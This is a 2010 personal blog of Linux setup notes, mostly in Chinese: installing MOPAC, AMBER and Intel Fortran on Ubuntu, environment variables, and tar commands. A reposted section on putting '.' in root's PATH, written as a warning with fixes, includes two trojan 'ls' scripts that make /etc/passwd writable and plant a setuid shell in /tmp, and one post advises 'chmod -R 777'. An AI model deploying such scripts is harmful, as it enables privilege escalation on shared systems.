Friday, April 16, 2010

Install MOPAC2009 on Ubuntu

  1. During install, MOPAC gives the message "permission denied"
  • Because the directory, subdirectory and file must have read and write permission. Use the "chmod" command to set the permissions, the simplest is "chmod -R 777 /opt/mopac/". Note: don't miss "-R" , it is very important, without it, the directory "mopac" has the read and wirte prermission, but the subdirectory and file don't have read and write permission.

Saturday, April 10, 2010

关于用户环境变量PATH的设置

http://tieba.baidu.com/f?kz=141163790

在一般情况下,Linux文件系统中bin或sbin目录中的文件都是可执行的。有时我们为了方便不输入路径就能调用指令或工具,这时要就要设置用户的环境变量PATH。
看下面的一例:
[root@localhost ~]# ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
[root@localhost ~]# /bin/ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
上面的例子,第一个指令就是直接运行了ls命令来显示当前目录下的文件和子目录;第二个条/bin/ls 指令是用绝对路径的ls来运行的;这两种方式运行的结果看来是一样的。
在论坛上,有些弟兄总是我已经安装了某某软件包,却没有某个指令。其实就是环境变量设置的事。如果您直接输入某个指令不存在,解决办法有两个,一个方法是要指定用可执行文件的绝对路径(也可以是相对路径,怎么方便怎么用吧),另一个方法是设定用户的环境变量。
我们可以用export PATH来设置环境变量。比如把下面一行加入到用户家目录下的.bashrc 或.profile文件中;
export PATH=".:/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/X11R6/bin"
解释:您可以找出Linux文件系统中所有bin或sbin目录的的绝对路径,然后把它们用:号分割,比如上面所设置的。第一个.表示用户当前所处的目录;
添加好后,我们再运行一下source,也就是:
#source .bashrc

#source .profile
如果发现指令只有root权限才运行,这时您要用到su; 如果您用的是普通用户,可能无权查看一些文件的目录的内容,您也需要用到su来切换身份;请参考:《Linux 系统中的超级权限的控制》


Linux是一个多用户的操作系统。每个用户登录系统后,都会有一个专用的运行环境。通常每个用户默认的环境都是相同的,这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境进行定制,其方法就是修改相应的系统环境变量。

常见的环境变量

对于PATH和HOME等环境变量大家都不陌生。除此之外,还有下面一些常见环境变量。

◆ HISTSIZE是指保存历史命令记录的条数。

◆ LOGNAME是指当前用户的登录名。

◆ HOSTNAME是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来取得的。

◆ SHELL是指当前用户用的是哪种Shell。

◆ LANG/LANGUGE是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。

◆ MAIL是指当前用户的邮件存放目录。

◆ PS1是基本提示符,对于root用户是#,对于普通用户是$。PS2是附属提示符,默认是“>”。可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“Hello,My NewPrompt ”。

# PS1=" Hello,My NewPrompt "

Hello,My NewPrompt

除了这些常见的环境变量,许多应用程序在安装时也会增加一些环境变量,比如使用Java就要设置JAVA_HOME和CLASSPATH等,而安装五笔输入法会增加环境变量"XMODIFIERS=@im=fcitx"等。

定制环境变量

环境变量是和Shell紧密相关的,用户登录系统后就启动了一个Shell。对于Linux来说一般是bash,但也可以重新设定或切换到其它 的 Shell。环境变量是通过Shell命令来设置的,设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来 说,可以通过变量名来访问相应的环境变量,通过export来设置环境变量。下面通过几个实例来说明。

1. 显示环境变量HOME

$ echo $HOME

/home/terry

2. 设置一个新的环境变量WELCOME

$ export WELCOME="Hello!"

$ echo $WELCOME

Hello!

3. 使用env命令显示所有的环境变量

$ env

HOSTNAME=terry.mykms.org

PVM_RSH=/usr/bin/rsh

SHELL=/bin/bash

TERM=xterm

HISTSIZE=1000

...

4. 使用set命令显示所有本地定义的Shell变量

$ set

BASH=/bin/bash

BASH_VERSINFO=([0]="2"[1]="05b"[2]="0"[3]="1"[4]="release"[5]="i386-redhat-linux-gnu")

BASH_VERSION='2.05b.0(1)-release'

COLORS=/etc/DIR_COLORS.xterm

COLUMNS=80

DIRSTACK=()

DISPLAY=:0.0

...

5. 使用unset命令来清除环境变量

set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值,则该变量值将被设为NULL。示例如下:

$ export TEST="Test..." #增加一个环境变量TEST

$ env|grep TEST #此命令有输入,证明环境变量TEST已经存在了

TEST=Test...

$ unset $TEST #删除环境变量TEST

$ env|grep TEST #此命令没有输出,证明环境变量TEST已经存在了

6. 使用readonly命令设置只读变量

如果使用了readonly命令的话,变量就不可以被修改或清除了。示例如下:

$ export TEST="Test..." #增加一个环境变量TEST

$ readonly TEST #将环境变量TEST设为只读

$ unset TEST #会发现此变量不能被删除

-bash: unset: TEST: cannot unset: readonly variable

$ TEST="New" #会发现此也变量不能被修改

-bash: TEST: readonly variable

7. 用C程序来访问和设置环境变量

对于C程序的用户来说,可以使用下列三个函数来设置或访问一个环境变量。

◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字,返回值是一个字符串。如果所访问的环境变量不存在,则会返回NULL。

◆ setenv()在程序里面设置某个环境变量的函数。

◆ unsetenv()清除某个特定的环境变量的函数。

另外,还有一个指针变量environ,它指向的是包含所有的环境变量的一个列表。下面的程序可以打印出当前运行环境里面的所有环境变量:

#include

extern char**environ;

int main ()

{

char**var;

for (var =environ;*var !=NULL;++var)

printf ("%s \n ",*var);

return 0;

}

还可以通过修改一些相关的环境定义文件来修改环境变量,比如对于Red Hat等Linux发行版本,与环境相关的文件有/etc/profile和~/.bashrc等。修改完毕后重新登录一次就生效了。



正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
  
  对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。
  
  例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)
  
  命令操作如下:
  
  [root@rh root]# PATH=$PATH:.
  [root@rh root]# echo $PATH
  /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
  
  这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文 件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对 root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误 敲成了lls,结果哈哈。。。。
  
  以下是个简单的C shell 的例子
  
  #!/bin/csh
  If ( ! -o /bin/su )
  goto finish
  cp /bin/sh /tmp/.sh
  chmod 7777 /tmp/.sh
  finish :
  exec /bin/ls $argv | grep -v ls
  
  稍微变形就有个B shell的
  
  #!/bin/sh
  if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
  cp /bin/sh /tmp/.sh
  chmod 4755 /tmp/.sh
  fi
  exec ls "$@"
  
  如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的 脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。
  
  在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不 会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结 果/sbin/ps却不被执行。类似这样的小花招还有很多。
  
  管理员同志,不要太紧张,下面我说说解决办法。
  
  首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。
  
  其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
  
  最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
  
  [PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
  
  这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"
  
  还可以由crontab调用定期执行
  
   #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻。用以下命令可以看到PATH的值。 
$ echo $PATH
例如,在主机中,用户yogin的PATH值为:  
/opt/kde/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/yogin/bin  
其中“:”为分隔符。所以,上面的一串目录可以看成是如下的目录列表。
 
  /opt/kde/bin   
  /usr/local/bin   
  /bin:/usr/bin   
  /usr/X11R6/bin   
  /home/yogin/bin
同样,也是主机中,用户root的PATH值为:
/opt/kde/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
要修改所有用户的PATH值,您可以以root身份编辑/etc/profile文件,修改其中包含“PATH=”的一行。
例如,您可以使用pico编辑器打开/etc/profile文件。
$ pico -w /etc/profile
pico是一个文本编辑器,而-w选项关闭了长行回绕功能。
只有在用户重新注册后,PATH的新值才会生效。如果只是要修改某一个用户的PATH值,就应该编辑该用户主目录中的.bash-profile文件。
如果您想将当前目录加入到PATH中,则将“.”加入PATH中,此时PATH的设定如下:
PATH="$PATH:/usr/X11R6/bin:."
export PATH
注意:在修改了PATH值或任何环境变量后,都要用export将其输出,新的PATH值才能生效。

=======================

系统的环境变量在配置web server以及编写程序都常常被用到, 因此了解必要的关于系统变量的知识是非常有必要的.

本文简述关于linux系统变量的查看以及甚至方法等, 希望对大家有用.

在Windows下,查看环境变量的命令是:set,这个命令会输出系统当前的环境变量。

Linux下准确的说是REDHAT下应该如何查看呢,命令是:

export

如果你想查看某一个名称的环境变量,命令是:echo $环境变量名,比如:

echo $ORACLE_HOME

Windows对应的命令是:set 环境变量名。

外补一篇:
1. 显示环境变量HOME

  $ echo $HOME

  /home/redbooks

  2. 设置一个新的环境变量hello

  $ export HELLO=”Hello!”

  $ echo $HELLO

  Hello!

  3. 使用env命令显示所有的环境变量

  $ env

  HOSTNAME=redbooks.safe.org

  PVM_RSH=/usr/bin/rsh

  SHELL=/bin/bash

  TERM=xterm

  HISTSIZE=1000

  …

  4. 使用set命令显示所有本地定义的Shell变量

  $ set

  BASH=/bin/bash

  BASH_VERSINFO=([0]=”2″[1]=”05b”[2]=”0″[3]=”1″[4]=”release”[5]=”i386-redhat-Linux-gnu”)

  BASH_VERSION=’2.05b.0(1)-release’

  COLORS=/etc/DIR_COLORS.xterm

  COLUMNS=80

  DIRSTACK=()

  DISPLAY=:0.0

  …

  5. 使用unset命令来清除环境变量

  set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值,则该变量值将被设为NULL。示例如下:

  $ export TEST=”Test…” #增加一个环境变量TEST

  $ env|grep TEST #此命令有输入,证明环境变量TEST已经存在了

  TEST=Test…

  $ unset $TEST #删除环境变量TEST

  $ env|grep TEST #此命令没有输出,证明环境变量TEST已经存在了

  6. 使用readonly命令设置只读变量

  如果使用了readonly命令的话,变量就不可以被修改或清除了。示例如下:

  $ export TEST=”Test…” #增加一个环境变量TEST

  $ readonly TEST #将环境变量TEST设为只读

  $ unset TEST #会发现此变量不能被删除

  -bash: unset: TEST: cannot unset: readonly variable

  $ TEST=”New” #会发现此也变量不能被修改

  -bash: TEST: readonly variable

  环境变量的设置位于/etc/profile文件

  如果需要增加新的环境变量可以添加下属行

  export path=$path:/path1:/path2:/pahtN

转载时务必以超链接形式标明文章原始出处和作者信息及版权声明
原文网址:
http://www.linuxsense.org/archives/398.html

Friday, April 9, 2010

Install AMBER11 on Ubuntu

Prepare for some software and libraries
  • apt-get install gfortran
(Note:this is for fortran)
  • apt-get install xorg-dev
(Note:this is for X11 Libraries, after install it, use command "locate libXt" to check if it has been installed. Because the local of this library wil be setted to AMBER config.h file: XHOME= , XLIBS= .)

Thursday, April 8, 2010

Uncompressing files in Linux

  1. .tgz
  • tar -vxf aa.tgz


压缩

tar –cvf jpg.tar *.jpg //将目录里所有jpg文件打包成tar.jpg

tar –czf jpg.tar.gz *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为jpg.tar.gz

tar –cjf jpg.tar.bz2 *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用bzip2压缩,生成一个bzip2压缩过的包,命名为jpg.tar.bz2

tar –cZf jpg.tar.Z *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用compress压缩,生成一个umcompress压缩过的包,命名为jpg.tar.Z

rar a jpg.rar *.jpg //rar格式的压缩,需要先下载rar for linux

zip jpg.zip *.jpg //zip格式的压缩,需要先下载zip for linux

解压

tar –xvf file.tar //解压 tar包

tar -xzvf file.tar.gz //解压tar.gz

tar -xjvf file.tar.bz2 //解压 tar.bz2

tar –xZvf file.tar.Z //解压tar.Z

unrar e file.rar //解压rar

unzip file.zip //解压zip

总结

1、*.tar 用 tar –xvf 解压

2、*.gz 用 gzip -d或者gunzip 解压

3、*.tar.gz和*.tgz 用 tar –xzf 解压

4、*.bz2 用 bzip2 -d或者用bunzip2 解压

5、*.tar.bz2用tar –xjf 解压

6、*.Z 用 uncompress 解压

7、*.tar.Z 用tar –xZf 解压

8、*.rar 用 unrar e解压

9、*.zip 用 unzip 解压

Linux中tar命令详解(转载的资料)

2008年04月17日 星期四 15:37

tar命令

tar 可以为文件和目录创建档案。利用tar,用户可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件。tar最初被 用来在磁带上创建档案,现在,用户可以在任何设备上创建档案,如软盘。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,这对于备份文件或将 几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。

语法:tar [主选项+辅选项] 文件或者目录

使用该命令时,主选项是必须要有的,它告诉tar要做什么事情,辅选项是辅助使用的,可以选用。

主选项:

c 创建新的档案文件。如果用户想备份一个目录或是一些文件,就要选择这个选项。

r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件,又发现还有一个目录或是一些文件忘记备份了,这时可以使用该选项,将忘记的目录或文件追加到备份文件中。

t 列出档案文件的内容,查看已经备份了哪些文件。

u 更新文件。就是说,用新增的文件取代原备份文件,如果在备份文件中找不到要更新的文件,则把它追加到备份文件的最后。

x 从档案文件中释放文件。

辅助选项:

b 该选项是为磁带机设定的。其后跟一数字,用来说明区块的大小,系统预设值为20(20*512 bytes)。

f 使用档案文件或设备,这个选项通常是必选的。

k 保存已经存在的文件。例如我们把某个文件还原,在还原的过程中,遇到相同的文件,不会进行覆盖。

m 在还原文件时,把所有文件的修改时间设定为现在。

M 创建多卷的档案文件,以便在几个磁盘中存放。

v 详细报告tar处理的文件信息。如无此选项,tar不报告文件信息。

w 每一步都要求确认。

z 用gzip来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩。

Linux下的压缩文件剖析

对 于刚刚接触Linux的人来说,一定会给Linux下一大堆各式各样的文件名给搞晕。别个不说,单单就压缩文件为例,我们知道在Windows下最常见 的压缩文件就只有两种,一是,zip,另一个是.rap。可是Linux就不同了,它有.gz、.tar.gz、tgz、bz2、.Z、.tar等众多的 压缩文件名,此外windows下的.zip和.rar也可以在Linux下使用,不过在Linux使用.zip和.rar的人就太少了。本文就来对这些 常见的压缩文件进行一番小结,希望你下次遇到这些文件时不至于被搞晕。

在具体总结各类压缩文件之前呢,首先要弄清两个概念:打包和压缩。打 包是指将一大堆文件或目录什么的变成一个总的文件,压缩则是将一个大的文件通过一些压 缩算法变成一个小文件。为什么要区分这两个概念呢?其实这源于Linux中的很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你就 得先借助另它的工具将这一大堆文件先打成一个包,然后再就原来的压缩程序进行压缩。

Linux下最常用的打包程序就是tar了,使用tar程序打出来的包我们常称为tar包,tar包文件的命令通常都是以.tar结尾的。生成tar包后,就可以用其它的程序来进行压缩了,所以首先就来讲讲tar命令的基本用法:

tar命令的选项有很多(用man tar可以查看到),但常用的就那么几个选项,下面来举例说明一下:

# tar -cf all.tar *.jpg

这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。

# tar -rf all.tar *.gif

这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。

# tar -uf all.tar logo.gif

这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。

# tar -tf all.tar

这条命令是列出all.tar包中所有文件,-t是列出文件的意思

# tar -xf all.tar

这条命令是解出all.tar包中所有文件,-t是解开的意思

以上就是tar的最基本的用法。为了方便用户在打包解包的同时可以压缩或解压文件,tar提供了一种特殊的功能。这就是tar可以在打包或解包的同时调用其它的压缩程序,比如调用gzip、bzip2等。

1) tar调用gzip

gzip是GNU组织开发的一个压缩程序,.gz结尾的文件就是gzip压缩的结果。与gzip相对的解压程序是gunzip。tar中使用-z这个参数来调用gzip。下面来举例说明一下:

# tar -czf all.tar.gz *.jpg

这条命令是将所有.jpg的文件打成一个tar包,并且将其用gzip压缩,生成一个gzip压缩过的包,包名为all.tar.gz

# tar -xzf all.tar.gz

这条命令是将上面产生的包解开。

2) tar调用bzip2

bzip2是一个压缩能力更强的压缩程序,.bz2结尾的文件就是bzip2压缩的结果。与bzip2相对的解压程序是bunzip2。tar中使用-j这个参数来调用gzip。下面来举例说明一下:

# tar -cjf all.tar.bz2 *.jpg

这条命令是将所有.jpg的文件打成一个tar包,并且将其用bzip2压缩,生成一个bzip2压缩过的包,包名为all.tar.bz2

# tar -xjf all.tar.bz2

这条命令是将上面产生的包解开。

3)tar调用compress

compress也是一个压缩程序,但是好象使用compress的人不如gzip和bzip2的人多。.Z结尾的文件就是bzip2压缩的结果。与 compress相对的解压程序是uncompress。tar中使用-Z这个参数来调用gzip。下面来举例说明一下:

# tar -cZf all.tar.Z *.jpg

这条命令是将所有.jpg的文件打成一个tar包,并且将其用compress压缩,生成一个uncompress压缩过的包,包名为all.tar.Z

# tar -xZf all.tar.Z

这条命令是将上面产生的包解开

有了上面的知识,你应该可以解开多种压缩文件了,下面对于tar系列的压缩文件作一个小结:

1)对于.tar结尾的文件

tar -xf all.tar

2)对于.gz结尾的文件

gzip -d all.gz

gunzip all.gz

3)对于.tgz或.tar.gz结尾的文件

tar -xzf all.tar.gz

tar -xzf all.tgz

4)对于.bz2结尾的文件

bzip2 -d all.bz2

bunzip2 all.bz2

5)对于tar.bz2结尾的文件

tar -xjf all.tar.bz2

6)对于.Z结尾的文件

uncompress all.Z

7)对于.tar.Z结尾的文件

tar -xZf all.tar.z

另外对于Window下的常见压缩文件.zip和.rar,Linux也有相应的方法来解压它们:

1)对于.zip

linux下提供了zip和unzip程序,zip是压缩程序,unzip是解压程序。它们的参数选项很多,这里只做简单介绍,依旧举例说明一下其用法:

# zip all.zip *.jpg

这条命令是将所有.jpg的文件压缩成一个zip包

# unzip all.zip

这条命令是将all.zip中的所有文件解压出来

2)对于.rar

要在linux下处理.rar文件,需要安装RAR for Linux,可以从网上下载,但要记住,RAR for Linux

不是免费的;然后安装:

# tar -xzpvf rarlinux-3.2.0.tar.gz

# cd rar

# make

这样就安装好了,安装后就有了rar和unrar这两个程序,rar是压缩程序,unrar是解压程序。它们的参数选项很多,这里只做简单介绍,依旧举例说明一下其用法:

# rar a all *.jpg

这条命令是将所有.jpg的文件压缩成一个rar包,名为all.rar,该程序会将.rar 扩展名将自动附加到包名后。

# unrar e all.rar

这条命令是将all.rar中的所有文件解压出来

到 此为至,我们已经介绍过linux下的tar、gzip、gunzip、bzip2、bunzip2、compress、uncompress、 zip、unzip、rar、unrar等程式,你应该已经能够使用它们对.tar、.gz、.tar.gz、.tgz、.bz2、.tar.bz2、. Z、.tar.Z、.zip、.rar这10种压缩文件进行解压了,以后应该不需要为下载了一个软件而不知道如何在Linux下解开而烦恼了。而且以上方 法对于Unix也基本有效。

本文介绍了linux下的压缩程式tar、gzip、gunzip、bzip2、bunzip2、 compress、uncompress、zip、unzip、rar、unrar等程式,以及如何使用它们对.tar、.gz、.tar.gz、. tgz、.bz2、.tar.bz2、.Z、.tar.Z、.zip、.rar这10种压缩文件进行操作.

Wednesday, April 7, 2010

Linux系统下拷贝文件没有权限解决

在命令行里边sudo cp或者先sudo nautilus打开文件管理器,然后按照往常一样拷贝
GONME
代码:
sudo nautilus

KDE
代码:
kdesu konqueror ~/


完整答案就是
  • 在命令行里边利用sudo cp 来进行拷贝
或者
  • sudo nautilus打开文件管理器,然后按照往常windowns里一样拷贝
或者
  • 直接在桌面把这些东西创建一个启动器,在 命令那里 输入sudo nautilus
摁确定以后 会产生一个可执行文件 然后直接双击它就 以root的身份进入 系统
然后按照往常一样拷贝


如何以root权限打开文件(夹)?
A:
代码:
sudo apt-get install nautilus-gksu
然后右键单击文件或文件夹,选择“以管理员打开”。或者可以
代码:
sudo nautilus 某文件夹

Tuesday, April 6, 2010

Install Intel Fortran 11.1.069 under Ubuntu- 9.10 in workstation x86_64

Following the steps in this website.

http://software.intel.com/en-us/articles/using-intel-compilers-for-linux-with-ubuntu/

For users of Ubuntu 9.10, follow the instructions here. If you have 9.04 or older, skip ahead to the section titled "Ubuntu 9.04 and Older"

BEFORE YOU INSTALL Intel(R) Fortran for Linux or Intel(R) C++ for Linux on your fresh Ubuntu Desktop installation, you will first need to install several packages to prepare the system to serve as a development platform. First, open a Terminal window and become root:
  • sudo bash
(type your user password)

At this point, you should have a root shell. Test this with command
  • 'whoami' which should return "root"
Check that gcc is installed. By default. Check this with:
  • gcc --version
It should return "gcc (Ubuntu 4.4.1-4ubuntu8) 4.4.1 (or some newer version - as long as it returns a version you have gcc installed)

If, for some reason, you do not have gcc installed, use Synaptic Package Manager (under 'System' -> 'Administration' menus) OR use apt-get to install gcc:
  • apt-get install gcc
Next, install the 'build-essential' package and package g++. This is not installed by default. Again, use Synaptic Package Manager or apt-get :
  • apt-get install build-essential
this should also install g++, but in test this with:
  • g++ --version
if g++ is not found, install it:
  • apt-get install g++
A few other packages are required:
  • apt-get install rpm
  • apt-get install ia32-libs (this is only required on 64bit Ubuntu/Debian systems)

To use the Intel IDB graphical debugger, you will also need the Java JRE 5 or 6 installed. We recommend the Sun JRE:

get the latest JRE from:

http://java.com/en/download/manual.jsp

OR you can use the OpenJDK from the distribution:

apt-get install openjdk-6-jre-headless

Next, Ubuntu 9.10 Desktop does not provide libstdc++5, which is required for the Intel Compilers. You will have to get the package for libstdc++5 from an older Debian or Ubuntu distribution ( 9.04 for example ). A repository is here:

http://packages.debian.org/stable/base/libstdc++5

On this page, you will see the title "The GNU Standard C++ Library V3". Scrolling down, find the table for "Download libstdc++5".

9.10: For 32bit Ubuntu i386 libstdc++5 Installation:
For 32bit Ubuntu systems you will need to install the 32bit version of libstdc++5, that is, the "i386" package.
Select the download for the libstdc++5 package for "i386". Pick a mirror site to begin the download. If you are using Firefox, you will be prompted if you want to "Open with GDebi Package Installer" - select OK to continue. Otherwise, save the deb package and use your favorite package manager to install. Install the i386 libstdc++ deb package. SKIP the Intel 64 Libstdc++5 (AMD64) directions below and find the section on installing the compiler after prerequisites are installed.


9.10: For Intel 64 / AMD64 (64bit Linux installation) Libstdc++5:
follow these instructions IF AND ONLY IF you have a 64bit Ubuntu installation.

Intel 64 installation: Select the download for the libstdc++5 package for "amd64". If you are using Firefox, you will be prompted if you want to "Open with GDebi Package Installer" - select OK to continue. Otherwise, save the deb package and use your favorite package manager to install. Install the amd64 libstdc++ deb package.

by default, the 64bit libstdc++.so.5 library will install in /usr/lib which is linked to /usr/lib64.

Now, you also will need the 32bit libstdc++.so.5 installed in /usr/lib32. Unfortunately, the "i386" version of the libstdc++5 package wants to install in /usr/lib which is your 64bit library directory and where you just installed the "amd64" libraries - so you DON'T want to download and install the "i386" package into the default location.
We'll need to download the "i386" package to a temporary directory, use dpkg to extract the contents to the temp directory, then manually copy the library to /usr/lib32 and create the symbolic link:

First, download libstc++5 package for "i386" - save to disk and do NOT launch a package manger to install it. Save it in your 'Downloads' folder or /tmp (or any other scratch directory).
Using your root terminal window, cd to the directory where you have downloaded the .deb package, it should have a name similar to 'libstdc++5_3.3.6-18_i386.deb'. The exact version is not important, but make sure it is a "i386" deb package.
Extract to the local directory:
  • dpkg --extract libstdc++5_3.3.6-18_i386.deb ./
Notice that a 'usr/' folder was created and the package contents extracted here. Now we'll copy the library to /usr/lib32

  • cd usr/lib
  • cp libstdc++.so.5.0.7 /usr/lib32
  • cd /usr/lib32
  • ln -s libstdc++.so.5.0.7 libstdc++.so.5

9.10: Installing the Compiler Now That Prerequisities are Installed (32 and 64bit):

Once you've completed the above, extract your compiler .tgz kit, cd to the compiler installation directory, and run
  • ./install.sh

During the installation, you WILL get a warning message "Detected operating system Debian* (generic) is not supported", followed by
----------------------------------------------------------------- ---------------
Missing optional pre-requisite
-- operating system type is not supported.
-- system glibc or kernel version not supported or not detectable
-- binutils version not supported or not detectable
----------------------------------------------------------------- ---------------
"Would you like to perform an unsupported install of this product [yes/no] (no)?"

enter "yes"

This will complete the installation. Keep in mind, you will get this warning from the compiler installer until such time as this particular OS and version are supported. Once installed, you can read the ReadMe notes in ...installdir.../Documentation directory which has a list of the supported Linux distributions and versions.


Debugger Notes:

Known Intel® IDB Debugger issues under Ubuntu:
1) Ubuntu 9.x versions, IA32 and Intel64 platforms:

- When loading an executable, a startup dialog may appear that should not. If this dialog, "Unable to locate source file “…/start.S – Do you like to search for it manually?” appears, click ‘No’ and continue normal debugging.

- Avoid using debug commands such as ‘next’, ‘step’ on the Console Window of the Debugger GUI since this may lead to unexpected behavior of the debugger; use the corresponding options ‘Continue’, Step Into’ etc. from the Run menu instead.

2) Ubuntu 9.10, IA32 and Intel64 platforms:

- You need to set the environment variable GDK_NATIVE_WINDOWS=1 to avoid a known bug in Eclipse delivered with Ubuntu 9.10. Add export GDK_NATIVE_WINDOWS=1
to your ~/.bashrc file or execute this command on command line:
export GDK_NATIVE_WINDOWS=1




  1. Download free/uncommencial Intel Fortran softerware from intel website: http://www.intel.com/software/products/global/eval.htm. Also, you should register with e-mail address, then you can get a license file, which intel send to your email.
  2. Some steps before install Intel Fortran Complier
http://packages.debian.org/stable/base/libstdc++5
Download libstdc++5 for AMD 64 Architechure (libstdc++5_3.3.6-17ubuntu1_amd64.deb)
  • Save this file to the filesystem fold, such as (/tmp)
  • Double click the file (libstdc++5_3.3.6-17ubuntu1_amd64.deb), the library will be installed automatically into the fold (/usr/lib) ;
  • or you can install it yourself usingt command: ar p libstdc++5_3.3.6-17ubuntu1_amd64.deb data.tar.gz | tar xvzf -

3. Install Intel Fortran Complier
  • tar -xzf l_cprof_p_11.1.069.tgz
  • cd l_cprof_p_11.1.069
  • ./install.sh
There 7 stpes during the install. Just follow one by one.

4. After install, set Environment Parameters in file (./bashrc)
  • Add to it the end of the file (./bashrc):

source /opt/intel/Compiler/11.1/069/bin/intel64/ifortvars_ia32.sh

source /opt/intel/Compiler/11.1/069/bin/ia32/ifortvars_ia32.sh


5. Check if installed correctly

Create a file with name of first.f90,input the following code in the file:
program first
print *, "Hello World!"
print *, sin(123.4)
end program first

Then compile the file:

  • #ifort first.f90 -o first

or

  • #./first


Displaying the results:
Hello World!
-0.7693915

For more information about “ifort”, you can use “ifort -help”。Or read the file in: /opt/intel/doc


Thursday, April 1, 2010

OpenGL Library

Libraries

There are two link-level libraries. libGL includes the OpenGL and GLX entry points and in general depends on underlying hardware and/or X server dependent code that may or may not be incorporated into this library. libGLU includes the GLU utility routines and should be hardware independent, using only the OpenGL API.

Each library has two names: the link name used on the ld command line, and the DT_SONAME within that library (specified by the -soname switch when linking the library), defining where it's looked up at runtime. Both forms must exist so that both linking and running will operate properly. The library names are:

Link name Runtime name (DT_SONAME)
libGL.so libGL.so.1
libGLU.so libGLU.so.1

libGL.so and libGLU.so should be symbolic links pointing to the runtime names, so that future versions of the standard can be implemented transparently to applications by changing the link.

Generally, the libraries are in the folder:
   /usr/lib/libGL.so.1
/usr/lib/libGLU.so.1